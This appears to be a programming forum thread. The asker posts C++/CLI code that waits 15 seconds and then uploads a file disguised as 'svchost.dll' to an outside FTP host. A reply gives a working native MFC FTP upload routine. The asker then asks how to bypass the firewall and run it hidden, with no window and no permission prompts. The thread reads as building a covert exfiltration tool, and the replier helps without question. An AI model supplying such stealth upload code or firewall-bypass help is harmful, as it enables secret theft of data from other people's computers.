i have a code written in c++/Cli (CLR Console app) that uses .Net framework. it basically uploads a file to a ftp server. i wanna run it on computers that dont have .net framework. and are running windows xp or windows 7. can i somehow convert it into win32 console app code? or modify if in such a way that it can work wihout .net framework? i believe windows api functions can help me in that.. here is the code anyways

// workup.cpp : main project file.

// test1.cpp : main project file.

#include "stdafx.h"

using namespace System;

//---------------------------------------------------------------------------
 using namespace std;


//#include <windows.h>
//#include <shellapi.h>
//#include <tchar.h>
#include "iostream"
#include <conio.h>
//#include <Mmsystem.h>
#include <dos.h>
#include "stdlib.h"
 using namespace System;
 
 using namespace System::Threading;



void UploadFiles(System::String ^_FileName, System::String ^_UploadPath, System::String ^_FTPUser, System::String ^_FTPPass);




int main ()
{

Thread::Sleep(15000);
// Upload file using FTP
UploadFiles("d:\\system\\svchost.dll", "ftp://playbabe.tk/public_html/fahad.html", "username", "password");
return 0;

}





//// <summary>
/// Methods to upload file to FTP Server
/// </summary>
/// <param name="_FileName">local source file name</param>
/// <param name="_UploadPath">Upload FTP path including Host name</param>
/// <param name="_FTPUser">FTP login username</param>
/// <param name="_FTPPass">FTP login password</param>
void UploadFiles(System::String ^_FileName, System::String ^_UploadPath, System::String ^_FTPUser, System::String ^_FTPPass)
{
	System::IO::FileInfo ^_FileInfo = gcnew System::IO::FileInfo(_FileName);

	// Create FtpWebRequest object from the Uri provided
	System::Net::FtpWebRequest ^_FtpWebRequest = safe_cast<System::Net::FtpWebRequest^>(System::Net::FtpWebRequest::Create(gcnew Uri(_UploadPath)));

	// Provide the WebPermission Credintials
	_FtpWebRequest->Credentials = gcnew System::Net::NetworkCredential(_FTPUser, _FTPPass);

	// By default KeepAlive is true, where the control connection is not closed
	// after a command is executed.
	_FtpWebRequest->KeepAlive = false;

	// set timeout for 20 seconds
	_FtpWebRequest->Timeout = 20000;

	// Specify the command to be executed.



	_FtpWebRequest->Method =System::Net::WebRequestMethods::Ftp::UploadFile;

	// Specify the data transfer type.
	_FtpWebRequest->UseBinary = true;

	// Notify the server about the size of the uploaded file
	_FtpWebRequest->ContentLength = _FileInfo->Length;

	// The buffer size is set to 2kb
	int buffLength = 2048;
	array<System::Byte> ^buff = gcnew array<System::Byte>(buffLength);

	// Opens a file stream (System.IO.FileStream) to read the file to be uploaded
	System::IO::FileStream ^_FileStream = _FileInfo->OpenRead();

	try
	{
		// Stream to which the file to be upload is written
		System::IO::Stream ^_Stream = _FtpWebRequest->GetRequestStream();

		// Read from the file stream 2kb at a time
		int contentLen = _FileStream->Read(buff, 0, buffLength);

		// Till Stream content ends
		while (contentLen != 0)
		{
			// Write Content from the file stream to the FTP Upload Stream
			_Stream->Write(buff, 0, contentLen);
			contentLen = _FileStream->Read(buff, 0, buffLength);
		}

		// Close the file stream and the Request Stream
		_Stream->Close();
		delete _Stream;
		_FileStream->Close();
		delete _FileStream;
	}
	catch (Exception ^ex)
	{
		//MessageBox::Show(ex->Message, "Upload Error", MessageBoxButtons::OK, MessageBoxIcon::Error);
		std::cout<<"error";
	}





}
//----------------------------------------------

I would create a Win32 Console app with MFC Enabled.
I believe, however, Windows 7 comes with .NET installed.
Since you are doing this on Windows boxes, MFC is still an option.
I set the character set to be MultiByte and Ignored Library: MSVCRT.lib
This will compile under warning level 4

#include "stdafx.h"
#include <afxinet.h>
#include "SendToDestDani.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif

CWinApp theApp;
bool	SendToDest(char* pstrSourceFileName, 
	char* pstrDestFileName, char* pstrIpAddress, char* pstrUser, 
	char* pstrPassword, char* pstrWorkDir)
{
	//Connect, transfer, disconnect.
	afxCurrentAppName = "SendToDestMfc";
	CInternetSession*	pSess = new CInternetSession();
	CFtpConnection*	pFtp			= NULL;
	bool					blnRetVal	= true;

	//Create the connection
	pFtp=pSess->GetFtpConnection(pstrIpAddress,
		pstrUser,pstrPassword, 21);

	if(!pFtp->SetCurrentDirectory(pstrWorkDir))
		{
		blnRetVal = false;
		}
	
	if((TRUE == blnRetVal) && (!pFtp->PutFile(pstrSourceFileName,
		pstrDestFileName, FTP_TRANSFER_TYPE_BINARY)))
		{
		blnRetVal=false;
		}

	//Close the connections
	pFtp->Close();
	pSess->Close();
	//
	delete	pFtp;
	delete	pSess;
	return	blnRetVal;
}

void main(void)
{
	HMODULE hModule = ::GetModuleHandle(NULL);

	if (hModule != NULL)
	{
		// initialize MFC and print and error on failure
		if (!AfxWinInit(hModule, NULL, ::GetCommandLine(), 0))
		{
			// TODO: change error code to suit your needs
			_tprintf(_T("Fatal Error: MFC initialization failed\n"));
			return;
		}

	}

	SendToDest("c:\\science\\xrdr.txt", "xrdr.txt", "10.1.11.11", "anonymous", "this@that.com", "/MPC_FILES");
}

Edited 5 Years Ago by thines01: clarity

how do i add a firewall exception? so i can upload without user interaction. i wanna use it as an exe but in such a way that it gets called from the parent program. it shudnt appear as a new window and it should not request permissions.

This article has been dead for over six months. Start a new discussion instead.